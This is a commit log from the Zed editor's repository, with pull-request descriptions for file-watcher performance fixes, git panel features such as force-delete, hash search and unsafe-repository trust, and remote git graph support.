yes, reproduced using steps in the issue before and after and confirmed
fix works.
https://github.com/user-attachments/assets/d3bcd049-485a-486f-877a-0e5c21b7917c
Reproduction steps here:
https://github.com/zed-industries/zed/issues/60216
## Self-Review Checklist:
- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable
Closes #60216
---
Release Notes:
- Fixed a crash caused by spawning one thread per file when trashing a
large number of untracked files from the Git Panel.
---------
Co-authored-by: dino <dinojoaocosta@gmail.com>
|
||
|
|
c91333e61f |
fs: Coalesce queued rescans after watcher overflow (#60098)
After a filesystem watcher loses sync (e.g. a `git pull` that changes many files overflows the backend's event queue), the backend can enqueue many `Rescan` markers in quick succession. The dispatch thread processed each one separately, and each rescan invokes every registration for that watcher mode, so a single burst could kick off several full worktree scans at once — leading to sustained CPU and an unresponsive project panel. This adds `dispatch_batch`, which handles the first event and drains the events already waiting in the channel, forwarding at most one `Rescan` per `WatcherMode` per drained batch while letting ordinary filesystem events and errors pass through untouched. A later watcher overflow can still trigger another recovery scan. Reported with a reproduction and patch in #59610. Release Notes: - Batch file watcher rescan events to improve Zed's responsiveness under heavy FS usage |
||
|
|
583fd90c37 |
git_ui: Search commits by hash (#59132)
## Summary - Allows Git Graph search to match abbreviated or full commit hashes when the query looks like a SHA. - Keeps the existing message search behavior for non-hash queries. - Mirrors the hash search heuristic in the fake git backend and adds GPUI coverage for hash and message search. <img width="1912" height="1241" alt="image" src="https://github.com/user-attachments/assets/903b438e-baa8-4447-95dc-faf321bca6a5" /> ## Test Plan - `cargo fmt --check --package git_ui` - `cargo -q test -p git_ui test_git_graph_search_matches_commit_hash_prefix -- --nocapture` - `./script/clippy -p git_ui` ## Suggested .rules additions - N/A Release Notes: - Improved Git Graph search to find commits by abbreviated or full hash. |
||
|
|
4f38066f5b |
Fix CI error from linux case insensitive path (#59624)
CI failed to build Linux because of my recent FS watcher fix, so I commented out the libc code and defaulted to false. In a follow up PR I will fix this ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - N/A |
||
|
|
45e3602c78 |
Allow file watchers to handle case insensitive file systems (#59579)
## Goal This PR fixes a bug in our file system watcher. Because it matched paths case sensitively, it didn't account for file systems that are case insensitive by default (macOS, Windows, etc.). As a result, when multiple subscribers watched the same path using different casing, Zed could fail to emit file system events to some of them. ### Reproduction I reproduced this with the `tsgo` LSP, which lowercases the file path of the visible worktree root it runs in. Zed subscribes to worktree roots to receive FS updates — e.g. external edits to a buffer, or git state changes — but it doesn't normalize the path when subscribing, so the two casings never matched. ### Fix Fixing this took longer than expected, because I spent a while deciding on an approach. I considered three: - **Follow VS Code's lead:** always treat macOS/Windows as case insensitive and Linux as case sensitive. Simple, but it would leave a couple of bugs. - **Real case the path at registration:** walk each component and use syscalls to rewrite it to match what the file system shows the user (e.g. Finder shows `/Project/some`, so a request to watch `/project/some` becomes `/Project/some`). This had rough edge cases with symlinks that I didn't want to deal with. - **Detect via syscalls whether a path is on a case-insensitive (normalizing) file system and match accordingly** — what I went with. The one wrinkle is that Windows can mark individual directories case-sensitive… because Windows. I also added integration tests to prevent future regressions. Note: Windows currently defaults to case insensitive; implementing the actual case sensitivity check for it is left to a follow up PR. Helps #38109 #35861 #52376 and maybe #41195 ## Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Fixed missed file system events on case-insensitive filesystems that could cause stale git state and other sync issues --------- Co-authored-by: Cole Miller <cole@zed.dev> |
||
|
|
53597983aa |
fs: Dispatch watcher events from the reader thread to avoid thrashing (#59537)
On large worktrees, normal fs activity (like a `git checkout`) could send the file watcher in to a rescan thrash: we processed each event on the thread that reads events from the OS, and each event was checked against every watched directory. On big projects this was too slow to keep up, so the OS event buffer overflowed and dropped events, and a dropped event forces a full rescan - creating this unbounded loop. This PR moves dispatch onto a dedicated `fs-watcher-dispatch` thread. The reading thread now only drops `Access` events and forwards the rest, so it should stay fast enough to keep draining the kernel queue and bursty fs behaviour won't cause an overflow. In addition, we now index registrations by watched path. Instead of waking up every watched folder whenever any file changes anywhere, we now only wake up the folders that actually contain the changed file. Closes FR-31. Related to #57042. Release Notes: - Improved file watcher performance on large worktrees |
||
|
|
fdebc23ccc |
Prevent archival of manually-created worktrees (#58275)
This fixes archive cleanup for agent threads so Zed only removes worktrees it explicitly created, rather than treating every linked worktree under the configured managed directory as safe to delete. When Zed creates a worktree, it now records it in the local database along with the creation time of the worktree's git metadata directory (`.git/worktrees/<name>/`). Archive planning requires that record, and right before deleting anything, Zed re-stats the directory and compares creation times: if the worktree was removed and recreated outside Zed (or the time can't be read at all), deletion is skipped and the stale record is dropped. Every failure mode fails safe by leaving the directory untouched. For remote (SSH) projects, the stat runs on the remote host via a new `GitWorktreeCreatedAt` request. Worktrees created by a different Zed install (another release channel, or another machine connecting to the same host) have no record in the local database and are therefore never auto-archived, which is the intended conservative behavior. Closes https://github.com/zed-industries/zed/issues/57155 Closes AI-352 Release Notes: - Fixed archiving an agent thread incorrectly deleting manually-created git worktrees. |
||
|
|
4fbe456384 |
git: Optimize git HEAD state resolution (#59044)
Currently zed runs `git rev-parse HEAD` and `git show` sequentially to get the git `HEAD` state in `compute_snapshot`. `git show` already natively resolves the `HEAD` commit so we can retrieve all info in a single process spawn which speeds things up and removes one git background process. Followup on #59042 in the hope to improve performance of working with large git repos over SSH. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Improved performance of git HEAD state resolution --------- Co-authored-by: Lukas Wirth <lukas@zed.dev> |
||
|
|
3f2c5b299c |
git: Reduce number of spawned git processes when retrieving remote URLs (#59053)
Currently Zed fetches remote URLs by sequentially calling `git remote get-url origin` and `git remote get-url upstream`. This PR introduces a new `remote_urls` function which uses `git remote -v` to retrieve all remote fetch URLs with a single git process. Followup on #59042 and #59042 in the hope to reduce the amount of spawned git processes. Probably best to review both commits separately. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Improved performance of listing git remotes |
||
|
|
d5de9b8d71 |
Update notify to v9.0.0-rc.4 (#58944)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content adheres to Zed's UI standards ([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) and [icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md) guidelines) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes FR-67 Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
d124bd296b |
worktree: Don't eagerly remove watchers (#58692)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #ISSUE Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
92c03633c7 |
fs: Avoid resolving symlinks when trashing (#58339)
Use `std::path::absolute` instead of `RealFs::canonicalize` to make the path absolute in `RealFs::trash` as `canonicalize` also resolves symlinks, so trashing a symlink moved its target to the trash and left the link dangling. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - Not applicable as we don't have a good infrastructure for testing `RealFs` changes without hitting the machine's actual filesystem and testing this on `FakeFs` implementation wouldn't prevent a future regression, unfortunately. - [x] Performance impact has been considered and is acceptable Closes #54900 Release Notes: - Fixed trashing of symlinks in project panel to actually trash the link and not its target. |
||
|
|
a0d71a483a |
Log worst hanging tasks and actions (#57835)
We have a lot of long blocking tasks on both the foreground and background, this is a start of getting some insight into those. We will now log tasks running longer then 100ms on the foreground or background. Hanging actions will also be logged including their name. We simultaneously collect statistics on task and action performance and send those to telemetry. This includes quantiles and averages for each hanging task. Finally this adds tree dev actions: - hang action - hang foreground - hang background These cause a hang to check if hang reporting is working and in the future telemetry. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #ISSUE Release Notes: - Added logging and telemetry of tasks and actions with performance issues |
||
|
|
51fd135b45 |
git: Further extract gitlib2 dependencies (#58280)
Extraction done from #53453 I removed the default Oid implementation we had and added support back for SHA264 back as well. I also removed the hex dependency and just added some of those functions we needed in house so we can avoid building yet another dependency Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - N/A |
||
|
|
e36459aead |
ep: Jump example capture (#58236)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #ISSUE Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
34e52592e4 |
Add cooldown when file watch limit is reached (#57720)
Stop trying to add new watches for 5 seconds after receiving the "OS file watch limit reached" error. This was flooding the logs and many pointless syscalls. Related to #57422, #57042, FR-18 Release Notes: - Improved file watcher behavior when the OS file watch limit is reached. |
||
|
|
f43794ddc0 |
Fix the filtering of index.lock + COMMIT_MESSAGE FS events to work in linked worktrees (#57763)
Zed reloads a lot of data about a git repository any time any file changes inside of the `.git` directory, with the exception of a few known paths that we know do not warrant a reload, such as `index.lock` and `COMMIT_MESSAGE`. Previously, we ignored FS events for those files, but we used a specific path that only worked for the main worktree. This caused a lot of unnecessary reloads when using linked worktrees. Now we ignore those files in a general way, by their filename, so that the optimization applies to linked worktrees as well. @cole-miller Noticed this bug. Release Notes: - Fixed unnecessary reloading of Git state that could occur when editing in linked worktrees. |
||
|
|
08737804d6 |
Log filesystem watcher lost sync only once per event (#57675)
On Linux, we create a filesystem watcher recursively for every subdir. When we get "fs watcher lost sync" events, we used to log it for every child dir, which could results in thousands messages. This becomes problematic when we get into a state where we get those events repeatedly (this larger issue is to be addressed separately). Now we log one message per parent. Partially addresses #57422, #57042, FR-18 Release Notes: - N/A |
||
|
|
16ede263e4 |
git: Degrade gracefully when refreshing git state (#57292)
This PR changes the git store's `compute_snapshot`, which runs to update state that depends on the contents of `.git`, to degrade gracefully when fetching individual pieces of state fails. For example, when fetching the list of branches fails, instead of returning early from the function (leaving the previous git state snapshot in place with stale state), we continue with an empty list of branches. This prevents failures of individual git commands from making the entire git UI get stuck indefinitely. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #ISSUE Release Notes: - Fixed an issue where failing to fetch branches using the git CLI would prevent other git-related state from being updated. |
||
|
|
f7088b3f8a |
git: Recover branch refs when metadata lookup fails (#57285)
cc @cole-miller Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - Fixed branch enumeration when a broken Git ref prevents commit metadata from being read. --------- Co-authored-by: Cole Miller <cole@zed.dev> |
||
|
|
17a6ed70d4 |
fs: Don't opt into polling for virtiofs based file systems (#57184)
Technically we don't know if a `virtiofs` file system supports `inotify` or not, but it seems like it's mostly used inside virtual machines provided by: - OrbStack (`inotify` works) - Docker Desktop (`inotify` works) - Lima (`inotify` works with flag) - Colima (`inotify` works with flag) - QEMU + virtiofs setup (`inotify` doesn't work without extra setup) Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #57103 Closes FR-9 Release Notes: - Fixed an issue where file system watching would default to the polling backend inside of `OrbStack` VMs on MacOS |
||
|
|
e6458eb73f |
fs: Poll until watched path is created instead of watching parent (#57152)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #ISSUE Part of FR-9. Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
23f5b1cd75 |
Add some more logging to diagnose lost FS events and stale git state (#57173)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - N/A --------- Co-authored-by: Ben Kunkle <ben@zed.dev> |
||
|
|
3e969e377b |
fs: Fix unwatching causing os unwatch dispatch for recursively watched directories (#56796)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes https://github.com/zed-industries/zed/issues/55746 Release Notes: - Fixed an issue where file system events or language server events that resulted in Zed unwatching many paths would result in high CPU usage |
||
|
|
c7da585f8b |
git_ui: Add force delete for worktrees (#56519)
Follows similar approach as https://github.com/zed-industries/zed/pull/55927 Adds a force-delete path to the worktree picker. Normal delete now prompts when Git reports modified or untracked files, and Alt/Option-delete can force delete directly. Release Notes: - Added support for force deleting worktrees that contain modified or untracked files. |
||
|
|
47cce5ab24 |
fs: Don't treat watcher errors as reason to do rescans (#56165)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes https://github.com/zed-industries/zed/issues/56064 This behavior regressed in https://github.com/zed-industries/zed/pull/54481 Release Notes: - Fixed an issue where broken symlinks, permission errors, or other fs errors in watched directories could cause excessive CPU usage |
||
|
|
2ef5304e89 |
git_ui: Add force delete for unmerged branches (#55927)
Git's `-d` flag deletes a branch only if it's fully merged into its upstream or HEAD - this is what we were using before, which caused the "not fully merged" error. The `-D` flag force deletes a branch even with unmerged changes (equivalent to `--delete --force`). ### Before Deleting an unmerged branch failed with a "not fully merged" error toast. ### After - Deleting an unmerged branch prompts for confirmation to force delete - Delete button tooltip shows "Hold alt to force delete" hint - Holding **alt** turns the delete icon red and tooltip changes to "Force Delete Branch" - Force delete keybinding: `cmd-alt-shift-backspace` Release Notes: - Added confirmation prompt when deleting unmerged git branches, with option to force delete. - Added alt+click on delete button to force delete a branch immediately. |
||
|
|
5aa5f80940 |
fs: Pre-filter the event kind before acquiring global lock and cloning callback handlers (#55683)
In #54481, the `handle_event` function was altered to check for an `Access` event after the callbacks were acquired via a global state lock. The lock/Vec-collect has enough overhead (or maybe there's enough lock contention?) that the handler isn't performant enough to keep up with the volume of inotify events, and its queue fills up, resulting in [a rescan event getting emitted](https://github.com/notify-rs/notify/blob/79007aefb41d9f853d00656eb768600e3ea41ee0/notify/src/inotify.rs#L304-L306), which presumably results in *more* access events for the file as it's rescanned, which further serve to fill up the inotify queue. Moving the check for an `Access` event and returning before doing anything remotely expensive seems to resolve the issues I've been having lately. Not sure if it addresses the original issue in #53480 though. Longer-term, it might be prudent to do the event handler's heavy-lifting in a separate thread with its own event queue, and let the handler passed to the `notify` crate be just a dumb `tx` sender. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Related to #53480 Fixes #55829 Release Notes: - Fixed inotify event queue overflows on linux |
||
|
|
7a60f55db2 |
git_graph: Add remote support for search operations (#55167)
### Motivation This is the second of three PRs to add remote/collab support for the git graph and is a follow-up to #54468. I'm adding remote support for the search because it's not user accessible without the initial graph fetch having remote support, so it allows us to merge this without having to add full remote support. Collab guest support will be added in a follow-up PR. #### Summary For large repos, searching can take a while to fully stream in all matched results. For example, running a basic search on the Linux repo took over 10s for me. Because of that, we want to stream search results in chunks to downstream users to keep the time-to-first-match low. After this change, the first chunk gets sent back after ~50ms on the Linux repo from receiving the request. In order to accomplish that, I added a new proto client API that allows for a request to map to n responses. e.g. ```/dev/null/example.rs#L1-1 client.add_entity_stream_request_handler(Self::handle_search_commits); ``` Note: The proto API isn't supported over collab yet, that will be another PR Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #ISSUE Release Notes: - N/A --------- Co-authored-by: cameron <cameron.studdstreet@gmail.com> |
||
|
|
2ab4a856a3 |
git: Improve handling of unsafe repositories (#43693)
These changes update Zed's Git Panel to be able to detect unsafe git repositories, where the user running Zed doesn't own the `.git` directory, and show a dedicated empty view in the Git Panel that not only explains the situation but also allows the user to choose whether to trust this directory, which will end up running `git config --global --add safe.directory <path>`. While testing those changes, it was noted that attempting to add or reset files after trusting the directory would fail, as expected, but the UI wouldn't react to the fact that those operations failed. What this means is, if the user tried to add a file, the UI would show a checkmark for that file and, after the operation failed, the checkmark would remain. We now revert that, for both `git add` and `git reset`. Some more technical notes on this change: - Introduce `project::git_store::GitAccess` enum to express whether we actually have access to the repository, exposed via `git::Repository::access`, which probes the backend with a `git status` command and classifies the result. - On unsafe repositories, `project::git_store::LocalRepositoryState::new` fails to spawn the git worker, which now cleanly signals `GitAccess::No` rather than leaving the panel in a broken state. - Updated `git_ui::git_panel::GitPanel::render_empty_state` with a third alternative, when `GitAccess::No`, that basically renders a view explaining why the repository is considered unsafe, together with buttons for git's documentation on safe directories and a button to add the repository's folder as a safe directory - Updated `project::git_store::GitStore` to now watch `~/.gitconfig` and `$XDG_CONFIG_HOME/git/config`. Watching this files allows the Git Panel to react when the git configuration is updated, which will be the case if the user decides to trust the repository. When either changes, a `GitStoreEvent::GlobalConfigurationUpdated` event is emitted and the panel refetches repository state. - Added `project::git_store::Repository::refetch_repo_state` field, which stores a closure to allow recreating the `Repository::repository_state` and the job sender after the repository's directory is trusted, without requiring a project reload. - Added a `fs::Fs::git_config` trait method, wrapping a real `git config` invocation. In order to be able to call this, both `git_store::GitStore::git_config` and `project::Project::git_config` wrappers have also been introduced. Worth mentioning that this isn't yet supported for remote projects or collab guests. - Updated `fs::Fs::git_clone` argument order to match `fs::Fs::git_config` and `fs::Fs::git_init`. - Added a new `project::git_store::pending_op::PendingOps::last_op_errored` method that allows determining whether the last pending operation failed. This now allows us to filter out failed operations when determining whether `git add` or `git reset` failed, so that we can fall through to the real git status. - Updated `git_ui::git_panel::GitPanel::change_file_stage` to now call `update_counts` in its error branch so the cached staged counters stay consistent with the reverted per-entry state, seeing as we now handle reverting the UI state if an operation fails. - Fixed `fs::RealFs::git_init` to fall back to the provided branch name when `git config --global --get init.defaultBranch` fails, for example, when the user hsan't configured one. Co-authored-by: cameron <cameron.studdstreet@gmail.com> Closes #42286 Release Notes: - Added a dedicated empty state in the Git Panel for unsafe repositories, with a "Trust Directory" button that adds the repository to `safe.directory` - Fixed stage and unstage checkboxes in the Git Panel not reverting when a `git add` or `git reset` command failed --------- Co-authored-by: cameron <cameron.studdstreet@gmail.com> Co-authored-by: Piotr Osiewicz <24362066+osiewicz@users.noreply.github.com> |
||
|
|
e1a69bdc8f |
Remove smol as a dependency from a bunch of crates (#53603)
We aren't making use of it in these crates and it unblocks some web-related work Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
05f474361d |
git: Replace file history view with git graph (#50288)
## Summary This PR replaces the git file history view with the git graph view that doesn't render the graph canvas. This has several advantages 1. Benefits from the graphs performance and lazy loading 2. Gets the graph's search for free 3. Resizable columns 4. The commit information panel 5. Is persistent 6. Cleans up a lot of code The one con of this change is the graph doesn't have support remote/collab support yet, but that is a WIP and should be merged within a week. Also, the git graph now propagates errors to the UI, which is the last thing on the graph's stable launch todo list! Before you mark this PR as ready for review, make sure that you have: - [x] Added a solid test coverage and/or screenshots from doing manual testing - [x] Done a self-review taking into account security and performance aspects - [x] Aligned any UI changes with the [UI checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) Release Notes: - N/A *or* Added/Fixed/Improved ... --------- Co-authored-by: dino <dinojoaocosta@gmail.com> Co-authored-by: Zed Zippy <234243425+zed-zippy[bot]@users.noreply.github.com> Co-authored-by: Joseph T. Lyons <JosephTLyons@gmail.com> |
||
|
|
c49ffd1e88 |
Fix bad GitHub merge queue merge (#54721)
No, sadly, the title is not a typo. See https://www.githubstatus.com/incidents/zsg1lk7w13cf for the context. I'll read with joy and popcorn through that root cause analysis. It makes literally zero sense what happened here, but for some completly bonkers reason GitHub completely messed up the merge queue with https://github.com/zed-industries/zed/pull/54632. I have no idea how it happened. It makes literally zero sense. A PR going into the merge queue should have the same LoC when getting out of it. GitHub obviously does not check this. GitHub causes extra work with a feature that is supposed to save time. Thanks, I guess. Release Notes: - N/A --------- Co-authored-by: Danilo Leal <daniloleal09@gmail.com> |
||
|
|
184e1d93e3 |
branch_picker: Add button to filter remote branches (#54632)
This PR brings back the button to filter remote branches when accessing the title bar's branch picker with the mouse. It was unintentionally removed when we introduced the new worktree picker. Release Notes: - N/A |
||
|
|
0dd399f50f |
fs: Handle i64 and u64 values from libc::statfs (#54699)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #ISSUE Release Notes: - N/A or Added/Fixed/Improved ... |
||
|
|
68f1d088c1 |
fs: Polling backend support (#54481)
Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [ ] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Closes #51340 Release Notes: - Linux/WSL: Added polling filesystem watching support in order to support file watching on file systems that do emit events through `inotify`, for example `/mnt/c` in WSL, network filesystems, and FUSE mounts. Polling should be automatically chosen over `inotify` when necessary, however it can be manually chosen by setting the `ZED_FILE_WATCHER_MODE=poll` env var --------- Co-authored-by: Lilith River <lilith@imazen.io> Co-authored-by: Jakub Konka <kubkon@jakubkonka.com> |
||
|
|
e311f9df9a |
git_graph: Add remote support for commit data handler (#54468)
### Motivation To support remote Git graph usage, we need remote support for the Git APIs that the graph depends on. This PR adds remote support for `CommitDataHandler` (the `git cat-file --batch` process manager), allowing remote Git graph consumers to fetch visible commit data without polling. #### Summary The Git graph separates the UI and data layers so the UI can continue rendering while commit data is fetched in the background. This change extends that model to remote repositories by allowing `GitStore::fetch_commit_data(sha: Oid, await_result: bool, cx: &mut Context) -> &CommitDataState` to await remote commit loading. For simplicity, the `Starting` variant was removed from `CommitDataState`. `CommitDataState::Loading(Option<...>)` now stores `Some(...)` when `await_result == true` is passed to `fetch_commit_data`. This allows the data layer to await commit loading without polling, and only when explicitly requested. I also removed the `Graph` prefix from `CommitData`-related types because this API is general-purpose and not limited to the graph. Longer term, I hope to replace `Repository::show` with the commit data functionality, since it already provides built-in caching. #### Bug Fixes - Fix stale `Loading(...)` entries that survive enqueue failure or handler shutdown. - Fix commit data handler bookkeeping so `pending_requests`, `completion_senders`, and `CommitDataState` remain consistent. - Fix remote commit-data loading so the data layer can await results instead of polling. #### Testing - Add property tests for commit data fetching. - Add a collab integration test that verifies batched remote commit-data fetching. #### Follow Up In a follow-up, I want to replace the `Repository::show` backend with the commit data handler and remove `CommitDetails` from the codebase as a cleanup and maintenance pass. The commit data handler already provides caching and is a better long-term path for commit metadata access. I may also want to allow the `CommitData` type to propagate errors to callers. For the Git graph, the remaining work is remote search and initial data fetching. Self-Review Checklist: - [x] I've reviewed my own diff for quality, security, and reliability - [x] Unsafe blocks (if any) have justifying comments - [x] The content is consistent with the [UI/UX checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist) - [x] Tests cover the new/changed behavior - [x] Performance impact has been considered and is acceptable Release Notes: - N/A --------- Co-authored-by: Remco Smits <djsmits12@gmail.com> |
||
|
|
e34dd8b560 |
worktree: Fix .git modified events not being correctly filtered out (#54329)
Release Notes: - N/A or Added/Fixed/Improved ... Co-authored by: Cole Miller <cole@zed.dev> |